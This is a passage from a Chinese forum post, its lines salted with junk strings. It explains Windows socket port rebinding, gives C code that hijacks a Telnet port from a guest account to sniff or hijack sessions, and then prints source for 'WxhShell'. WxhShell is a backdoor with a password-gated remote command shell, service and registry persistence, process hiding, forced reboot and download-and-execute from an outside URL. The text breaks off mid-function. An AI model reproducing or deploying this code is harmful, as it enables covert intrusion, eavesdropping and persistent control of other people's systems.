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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tIX|oWC$q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <CP't[  
\]/ 6>yT  
  saddr.sin_family = AF_INET; $_Lcw"xO  
\4q1<j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e3&.RrA  
j"+R*H(#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n]JfdI  
D/zp_9B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =dC5q{  
ET]`  
  这意味着什么?意味着可以进行如下的攻击: 47/YD y%  
`WU"*HqW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1lUY27MF  
z2V_nkI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hzk]kM/OC  
iGeuO[ ^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .!Q[kn0a  
\h/aD1 &g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l< |)LD q~  
W^nG\"T^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0Z[8d0  
;(Qm<JAa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0j~C6 vp  
m>?{flO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V@>s]]HMq#  
~_L_un.R  
  #include G5x%:,n  
  #include 78+PG(Q_M  
  #include Q[F$6m%o  
  #include    k!,&L$sG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \\Huk*Jn{  
  int main() 4[]4KKO3Q2  
  { @xtfm.}  
  WORD wVersionRequested; t?kbN\,  
  DWORD ret; n|iO)L\9aB  
  WSADATA wsaData; ~); 7D'[  
  BOOL val; yX8$LOjE  
  SOCKADDR_IN saddr; Zz04Pz1  
  SOCKADDR_IN scaddr; Qjh @oWT  
  int err; |4FvP R [  
  SOCKET s; *FUbKr0  
  SOCKET sc; 0~XZ  
  int caddsize; SfwAMNCe  
  HANDLE mt; l<nL8/5{<  
  DWORD tid;   Vz&!N/0i  
  wVersionRequested = MAKEWORD( 2, 2 ); ygp NMq#?X  
  err = WSAStartup( wVersionRequested, &wsaData ); RV:%^=V-  
  if ( err != 0 ) { ]^^mJt.Iv  
  printf("error!WSAStartup failed!\n"); "Tm`V9  
  return -1; /v:+ vh*mS  
  } UYb:q  
  saddr.sin_family = AF_INET; rfMzHY}%  
   MY}B)`yx=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p[%FH?  
[& &9F};  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Dx27s  
  saddr.sin_port = htons(23); f?A*g$v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4jl-?  
  { Ik4U+'z6  
  printf("error!socket failed!\n"); 1e#}+i!a  
  return -1; +Te;LJP  
  } 3v%V\kO=F  
  val = TRUE; cA4xx^~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7].FdjT.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W`-AN}C#  
  { }A%Sx!7~  
  printf("error!setsockopt failed!\n"); *G#W],~0  
  return -1; 3Ga! )  
  } /uzU]3KF~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v9OK <  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h>+,ba"D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5l"v:Px  
/_P5U E(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !7lS=D(?  
  { _0<EbJ8Z  
  ret=GetLastError(); /K9Tn  
  printf("error!bind failed!\n"); y  ZsC>  
  return -1; 5[Yzi> o[  
  } 64>o3Hb2  
  listen(s,2); /-l7GswF  
  while(1) ]?`t spm<t  
  { =q( ;g]e  
  caddsize = sizeof(scaddr); $>;U^-#3  
  //接受连接请求 y-93 >Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d-=/@N!4e  
  if(sc!=INVALID_SOCKET) x%JtI'sg  
  { T0ebW w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (P[:g  
  if(mt==NULL) h+! Ld^'c  
  { : YU_ \EV  
  printf("Thread Creat Failed!\n"); Xj&fWu A  
  break; --S2lN/:T  
  } z5v)~+"1  
  } 7N / v  
  CloseHandle(mt); Nj_h+=UE!  
  }  T^ ^o  
  closesocket(s); ~g+?]Lk}  
  WSACleanup(); wYJ.F  
  return 0; dhW)<  
  }   h`OX()N  
  DWORD WINAPI ClientThread(LPVOID lpParam) Wej8YF@  
  { T,,,+gPx  
  SOCKET ss = (SOCKET)lpParam; gD0 FRKn  
  SOCKET sc; x-km)2x=W  
  unsigned char buf[4096]; ;aip1Df  
  SOCKADDR_IN saddr; Ax4nx!W,   
  long num; '@h5j6:2  
  DWORD val; YAqv:  
  DWORD ret; gh3XC.&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %+U.zd$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H\7Qf8s|{  
  saddr.sin_family = AF_INET; %B$~yx3#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A7|!&fi  
  saddr.sin_port = htons(23); wvum7K{tI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c@%:aiEl  
  { X/fk&Cp  
  printf("error!socket failed!\n"); F`;oe[wfk  
  return -1; CfA^Xp@vc  
  } ++Qg5FukR  
  val = 100; Cyg\FHs  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WUSkN;idVG  
  { hTZaI*  
  ret = GetLastError(); pDO&I]S`q0  
  return -1; (5] |Kcp|  
  } 'Jww}^h1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e.%` tK3J  
  { K%ltB&  
  ret = GetLastError(); `w1|(Sk$h  
  return -1; '-tiH  
  } ]?p&sI4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G%w hOIFRq  
  { 4~8++b1/;  
  printf("error!socket connect failed!\n"); .V9/0  
  closesocket(sc); %Uj7 g>  
  closesocket(ss); -ckk2D?  
  return -1; #8G (r9  
  } w:P$ S  
  while(1) TOp|Qtn  
  { GtRc7,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b/:&iG;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x,a(O@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2B{~"<  
  num = recv(ss,buf,4096,0); 5"=qVmT)  
  if(num>0) Z> jk\[  
  send(sc,buf,num,0); %Ji@\|Zkf  
  else if(num==0) 8|uFW7Q  
  break; /l-lkG5  
  num = recv(sc,buf,4096,0); vq|o}6Et  
  if(num>0) T> cvV  
  send(ss,buf,num,0); =^m,|j|d>4  
  else if(num==0) &o>ctf.x  
  break; B>}=x4-8  
  } $IzhaX  
  closesocket(ss); fGDR<t3yiQ  
  closesocket(sc); E(F<shT#  
  return 0 ; r]p 0O(  
  } <\< [J0  
C~IsYdln  
 -z9-f\  
========================================================== 4hb<EH'_&  
X(nbfh?n  
下边附上一个代码,,WXhSHELL E Z95)pk  
j_\nsM7  
========================================================== qi7(RL_N  
rnvKfTpZDU  
#include "stdafx.h" &L[7jA'[J  
?YzOA${  
#include <stdio.h> og<mFbqkq7  
#include <string.h> C 7)w8y  
#include <windows.h> X#KC<BXw,  
#include <winsock2.h> <<}t&qE%2%  
#include <winsvc.h> Fp52 |w_  
#include <urlmon.h> ]RgLTqv4x  
al<[iZ  
#pragma comment (lib, "Ws2_32.lib") cs[_5r&:  
#pragma comment (lib, "urlmon.lib") ,2\?kPoc8  
f$vWi&(  
#define MAX_USER   100 // 最大客户端连接数 9~8 A>  
#define BUF_SOCK   200 // sock buffer MYgh^%w:  
#define KEY_BUFF   255 // 输入 buffer 5 Z+2  
<WN?  
#define REBOOT     0   // 重启 bjvpYZC\5  
#define SHUTDOWN   1   // 关机 ^s z4-+>  
rxZ%vzVQ>  
#define DEF_PORT   5000 // 监听端口 LWQ.!;HYp  
R4+Gmx1  
#define REG_LEN     16   // 注册表键长度 G9y 0;br  
#define SVC_LEN     80   // NT服务名长度 v0762w  
$I40 hk  
// 从dll定义API 69#D,ME?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n\8;4]n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H4[];&]xr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DK8eFyG^2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  AnK-\4  
Y)*5M  
// wxhshell配置信息 W`HO Q  
struct WSCFG { oG5 :]/F  
  int ws_port;         // 监听端口 C{mL]ds<  
  char ws_passstr[REG_LEN]; // 口令 tHlKo0S$0  
  int ws_autoins;       // 安装标记, 1=yes 0=no s ~'><ioh  
  char ws_regname[REG_LEN]; // 注册表键名 H'N$Vv2q  
  char ws_svcname[REG_LEN]; // 服务名 bqjj6bf'o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sHC4iMIw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P70\ |M0~y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?;1^8 c0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t?J Y@hT*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bvZTB<rA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KLqn`m`O;  
)NG{iD{_]  
}; %Z|]"=;6  
'BY{]{SL  
// default Wxhshell configuration  X$:r  
struct WSCFG wscfg={DEF_PORT, WVaIC$Y  
    "xuhuanlingzhe", Sn 3@+9J  
    1, b'\a 4  
    "Wxhshell", t Dx!m~[  
    "Wxhshell", 6")co9  
            "WxhShell Service", @* a'B=7  
    "Wrsky Windows CmdShell Service", e!cZW.B=`f  
    "Please Input Your Password: ", Xq"@Z  
  1, B^'Uh+Y  
  "http://www.wrsky.com/wxhshell.exe", x|B$n } B  
  "Wxhshell.exe" HF@K$RPK  
    }; 3,qq\gxB  
iwb]mJUA  
// 消息定义模块 @.T w*t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b"x[+&%i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nNe`?TS?f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B{IYVviiP  
char *msg_ws_ext="\n\rExit."; 7gIK+1`  
char *msg_ws_end="\n\rQuit."; jA ?tDAx`  
char *msg_ws_boot="\n\rReboot..."; Fa]fSqy@;  
char *msg_ws_poff="\n\rShutdown..."; 'M"JF;*r  
char *msg_ws_down="\n\rSave to "; pyPS5vWG  
Of| e]GR  
char *msg_ws_err="\n\rErr!"; 5X^bvW26  
char *msg_ws_ok="\n\rOK!"; BzFD_A>j;_  
V&)lS Qw  
char ExeFile[MAX_PATH]; +QS7F`O  
int nUser = 0; B-63IN  
HANDLE handles[MAX_USER]; &mebpEHUG7  
int OsIsNt; ppcuMcR{  
Op] L#<&T  
SERVICE_STATUS       serviceStatus; wm@ />X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; { bjK(|  
C:C9swik"5  
// 函数声明 CV <@Rgoa  
int Install(void); 6*@\Qsp615  
int Uninstall(void); "52nT  
int DownloadFile(char *sURL, SOCKET wsh); ZSL:q%:.  
int Boot(int flag); oS'M  
void HideProc(void); Wj N0KA  
int GetOsVer(void); rx^vh%/ Q!  
int Wxhshell(SOCKET wsl); SZ+<0Y |  
void TalkWithClient(void *cs); W?W vT` T{  
int CmdShell(SOCKET sock); 8 jom)a  
int StartFromService(void); **I9Nw!IH  
int StartWxhshell(LPSTR lpCmdLine); ,,+ ~./)  
.\*3t/R=X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z!09vDB^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '8g/^Y@  
:Uu Py|>  
// 数据结构和表定义 IT \Pj_  
SERVICE_TABLE_ENTRY DispatchTable[] = oYWcX9R  
{ $#V ^CmW.  
{wscfg.ws_svcname, NTServiceMain}, <,S0C\la=  
{NULL, NULL} !*8x>,/>  
}; RZykwD(  
g=?KpI-pn0  
// 自我安装 {V& 2k9*  
int Install(void) ,Mwyk1:xix  
{ ZB-+ bY  
  char svExeFile[MAX_PATH]; .F'fBT` $  
  HKEY key; D7Y5q*F  
  strcpy(svExeFile,ExeFile); <&'Ye[k  
X8T7(w<0%f  
// 如果是win9x系统,修改注册表设为自启动 R#Z1+&='  
if(!OsIsNt) { FrSeR9b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a$p2I+lX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !x9j~D'C`  
  RegCloseKey(key); 9g" 1WZ!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [,_M@g3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :j/PtNT@  
  RegCloseKey(key); C7=Q!UK`\  
  return 0; Ov{fO  
    } bTzVmqGY  
  } 1m-"v:fT5D  
} M,[u}Rf^w  
else { (]BZ8GOx  
<@C Bc:j0  
// 如果是NT以上系统,安装为系统服务 9E{Bn#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^&t(O1.-  
if (schSCManager!=0) Qi^MfHW  
{ +NRn>1]  
  SC_HANDLE schService = CreateService hA`>SkO  
  ( 6p/gvpZ  
  schSCManager, 7lpd$Y  
  wscfg.ws_svcname, x>Ah4a d  
  wscfg.ws_svcdisp, \K 01 F  
  SERVICE_ALL_ACCESS, 4+mawyM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n3{m "h3  
  SERVICE_AUTO_START, R6 w K'  
  SERVICE_ERROR_NORMAL, 2aUz.k8o  
  svExeFile, ?U0iHg{  
  NULL, OT7F#:2`  
  NULL, z`uqK!v(K  
  NULL, Hk-)fl#dr  
  NULL, hoASrj{s  
  NULL !x.^ya  
  ); 7p}G!]`  
  if (schService!=0) 3 uwZ#   
  { $ 1(u.Ud  
  CloseServiceHandle(schService); V|NWJ7   
  CloseServiceHandle(schSCManager); JbYv <  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9/w'4bd  
  strcat(svExeFile,wscfg.ws_svcname); YgaJ*%\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V"VWHAu*.w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3OHP-oa.  
  RegCloseKey(key); 9frx60  
  return 0; ' U(v  
    } Ms ?V1  
  } RVfRGc^lK  
  CloseServiceHandle(schSCManager); . iq.H  
} [Dq7mqr$  
} lwLK#_5u  
R~b9)  
return 1; ?Gl'-tV  
} I=hgfo  
6<H[1PI`,G  
// 自我卸载  e4NT  
int Uninstall(void) @6GM)N\{[  
{ sTqy-^e7  
  HKEY key; =!xeki]|9  
~nb%w?vv  
if(!OsIsNt) { S6H=(l58  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Gl&K|/{j  
  RegDeleteValue(key,wscfg.ws_regname); :5?ti  
  RegCloseKey(key); 8 Oeg"d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TMG:fg&E~  
  RegDeleteValue(key,wscfg.ws_regname); eEJ8j_G  
  RegCloseKey(key); # RJy  
  return 0; 'O`jV0aa'  
  } ;:*o P(9k  
} {549&]/o  
} L4sN)EI  
else { h_]3L/  
9G_=)8sOV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `. %;|"xR  
if (schSCManager!=0) ~PvW+UMLk  
{ FStE/2?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  wB5zp  
  if (schService!=0) 7V0:^Jov  
  { )F? 57eh  
  if(DeleteService(schService)!=0) { aEdF Z  
  CloseServiceHandle(schService); U^Z[6u  
  CloseServiceHandle(schSCManager); 0s0[U  
  return 0; Xkl^!,  
  } 4PiNQ'*  
  CloseServiceHandle(schService); XoSjYG(>,  
  } Bx&` $lW  
  CloseServiceHandle(schSCManager); 0 P/A  
} O( he  
} ~B(]0:  
d5A!kU _.  
return 1; = k3O4gE7  
} q~trn'X>  
|!%A1 wp#  
// 从指定url下载文件 *U54x /w|  
int DownloadFile(char *sURL, SOCKET wsh) W~k!qy `  
{ [&nwB!kt  
  HRESULT hr; U]R?O5K  
char seps[]= "/"; 8tA.d.8  
char *token; wt2S[:!p  
char *file; + y.IDn^  
char myURL[MAX_PATH]; ,_rarU)[J  
char myFILE[MAX_PATH]; =La}^  
9b]U&A$  
strcpy(myURL,sURL); *BXtE8 BU  
  token=strtok(myURL,seps); $%r|V*5  
  while(token!=NULL) 6xL=JSi~  
  { 0y;&L63>T  
    file=token; 9,`mH0jP  
  token=strtok(NULL,seps); 2+=|!+f  
  } HC{|D>x.  
0*3 <}  
GetCurrentDirectory(MAX_PATH,myFILE); JF{,;&sj  
strcat(myFILE, "\\"); A ws#>l<  
strcat(myFILE, file); 9^a>U(,  
  send(wsh,myFILE,strlen(myFILE),0); k|A!5A2  
send(wsh,"...",3,0); ]Vb#(2<2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =V5.c+  
  if(hr==S_OK) V2VsJ  
return 0; h!K B%4V  
else IJ4"X#Q/  
return 1; sTG+c E  
2zFdKs,  
} Qmn5umd=?\  
WP]<\_r2  
// 系统电源模块 HAO/r`7*  
int Boot(int flag) "rX=G=  
{ ]3={o3[:  
  HANDLE hToken; G)# ,39P  
  TOKEN_PRIVILEGES tkp; R1Pnj  
S_bay8L1  
  if(OsIsNt) { @0 -B&w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -m|b2g}"3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rG\m]C3E  
    tkp.PrivilegeCount = 1; Czv lZDo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m/eGnv;!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZC2C`S\xr  
if(flag==REBOOT) { 6km u'vw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fykN\b  
  return 0; x *qef_Hu  
} keJec`q=X  
else { s`#hk^{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :/~vaCZ  
  return 0; w:Lu  
} _23sIUN c3  
  } ;*Rajq  
  else { B4|`Z'U#;  
if(flag==REBOOT) { HO@T2t[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V)@MM2,  
  return 0; QK?5)[ J  
} B8_l+dXO  
else { ;~1r{kXxA"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WHNb.>  
  return 0; .vW~(ZuD  
} 4|2$b:t  
} '|d (<.[  
`%ENGB|  
return 1; O"#`i{^?2  
} %<M<'jxSca  
u^]yz&9V  
// win9x进程隐藏模块 E`?BaCrG~  
void HideProc(void) cEqh|Q  
{ P);Xke  
)K?GAj]Pq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %'=oMbi>i4  
  if ( hKernel != NULL ) Qy70/on9  
  { VuPET  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dt \O7Rjw8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <oXsn.'\  
    FreeLibrary(hKernel); =d5!O~}r>  
  } W^Rb~b^?  
/GXO2zO  
return; eXOFAd]>u  
} DY07?x7  
O ,>&w5   
// 获取操作系统版本 ks r5P~  
int GetOsVer(void) #!5Nbe  
{ e`~q ;?:  
  OSVERSIONINFO winfo; 7S1!|*/ I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kyjH~mK4  
  GetVersionEx(&winfo); yBe/UFp+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _bd#C   
  return 1; PR'FSTg  
  else YpKai3 B  
  return 0; d#d~t[=  
} E{6}'FG+A  
u]2k%TUY  
// 客户端句柄模块 v'>Yc#VJ  
int Wxhshell(SOCKET wsl) E, v1F!  
{ l3afuD :  
  SOCKET wsh; xsTxc&0^  
  struct sockaddr_in client; As\5Ze9|  
  DWORD myID; c:6w >:  
qnS7z%H8  
  while(nUser<MAX_USER) IY19G U9  
{ 9@1W=sl  
  int nSize=sizeof(client); ~>C>LH>8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Qf }4a0  
  if(wsh==INVALID_SOCKET) return 1; 7wqwDE  
#NE^f2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *Vc=]Z2G^  
if(handles[nUser]==0) Tk!b`9  
  closesocket(wsh); `o3d@Vc  
else \k,bz 0  
  nUser++; 4bBxZY  
  } 9F+bWo_m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >ahj|pm  
j41:]6  
  return 0; z K(5&u  
} NN:TT\!v  
;MMFF{  
// 关闭 socket </=PN1=A  
void CloseIt(SOCKET wsh) c[y8"M5  
{ U .Od  
closesocket(wsh); bGJUu#  
nUser--; 5QSmim  
ExitThread(0); @j (jOe  
} :kVV.a#g  
L C7LO  
// 客户端请求句柄 &wuV}S 7  
void TalkWithClient(void *cs) !kcg#+s91  
{ .'a|St  
mr1}e VM~!  
  SOCKET wsh=(SOCKET)cs; y|dXxd9  
  char pwd[SVC_LEN]; uqUo4z5T  
  char cmd[KEY_BUFF]; Z:v1?v  
char chr[1]; _UBI,Dg]  
int i,j; '=H^m D+gl  
_tk5?9Ykn  
  while (nUser < MAX_USER) { vck$@3*  
) G{v>Z ,  
if(wscfg.ws_passstr) { 3XnXQ/({  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UIl_& |  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TUaK:*x*  
  //ZeroMemory(pwd,KEY_BUFF); [:QMnJ  
      i=0; (*RybKoaA  
  while(i<SVC_LEN) { l(5-Cr  
t0>{0 5  
  // 设置超时 &~%@QC/  
  fd_set FdRead; N>R%0m<e  
  struct timeval TimeOut; ie(7m| .  
  FD_ZERO(&FdRead); (<l2 ^H  
  FD_SET(wsh,&FdRead); v'!Nt k  
  TimeOut.tv_sec=8; ?lK!OyCkc  
  TimeOut.tv_usec=0; h9I )<_}R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C6VoOT )\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FJLJ;]`7+  
9^='&U9sr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MuobMD}jqe  
  pwd=chr[0]; R`Lm"5w  
  if(chr[0]==0xd || chr[0]==0xa) { p*0Ve21i,  
  pwd=0; #CPPdU$  
  break; E(tBN]W.  
  } )sf~l6  
  i++; @__;RVQ  
    } Nd_@J&  
F[ EblJ  
  // 如果是非法用户,关闭 socket Q:gn>/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }$U[5wL,_  
} 'j_H{kQy  
mr!I}I7x&x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H g`{9v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mM} Ukmy  
!XG&=Rd?  
while(1) { pxxFm~"d  
'pY;]^M  
  ZeroMemory(cmd,KEY_BUFF); O->eg  
fmJWd|  
      // 自动支持客户端 telnet标准   2&0<$>  
  j=0; *Zi%Q[0Me  
  while(j<KEY_BUFF) { p'uz2/g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -o_T C  
  cmd[j]=chr[0]; tb0E?&M  
  if(chr[0]==0xa || chr[0]==0xd) { CFm1c1%Hg  
  cmd[j]=0; HY4E  
  break; F2$bUY  
  }  <%D"eD  
  j++; X`n0b<  
    } b 0b9#9x  
qffSq](D.  
  // 下载文件 f_!`~`04  
  if(strstr(cmd,"http://")) { L~{Vt~H9"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &H&P)Px*_  
  if(DownloadFile(cmd,wsh)) k |3(dXLG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o#P3lz  
  else {p|%hhTK%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /:` i%E  
  } WKl'  
  else { kqW<e[  
6b70w @P!  
    switch(cmd[0]) { huJq#5?  
  lK,=`xe  
  // 帮助 %hbLT{w  
  case '?': { G}#/`]o!K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +MZO%4  
    break; X8 )>}#:  
  } bH/pa#G(  
  // 安装 e=l5j"gq  
  case 'i': { ~H|LWCU)K8  
    if(Install()) AC:s4iacC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RzRvu]]8  
    else _S2^;n?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d?M!acB  
    break; Tn0l|GRuZA  
    } U|7Qw|I7  
  // 卸载 |3:=qpT-  
  case 'r': { >&vO4L  
    if(Uninstall()) /=m9s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ws*PMK.0  
    else bo;pj$eR3R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -;)SER3Wq4  
    break; Ik5jwfz  
    } s#4ew}  
  // 显示 wxhshell 所在路径 Zng` oFD  
  case 'p': { IR dz(~CP  
    char svExeFile[MAX_PATH]; z8(R.TB  
    strcpy(svExeFile,"\n\r"); y)/$ge _U  
      strcat(svExeFile,ExeFile); };m7FO  
        send(wsh,svExeFile,strlen(svExeFile),0); Ui |a}`c  
    break; Z ;y}gv/ {  
    } As'M3 9*V  
  // 重启 ^T&u!{82j  
  case 'b': { Z!-<rajl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gZ"{{#:}  
    if(Boot(REBOOT)) !@Sf>DM"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r\n h.}s  
    else { VuMDV6^Z  
    closesocket(wsh); sRyw\v-=P  
    ExitThread(0); sIRrEea  
    } $',GkK{NX  
    break; U=i8>6V  
    } R;E"Qdt  
  // 关机 g<iwxF  
  case 'd': { HCjn9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;2Ad])  
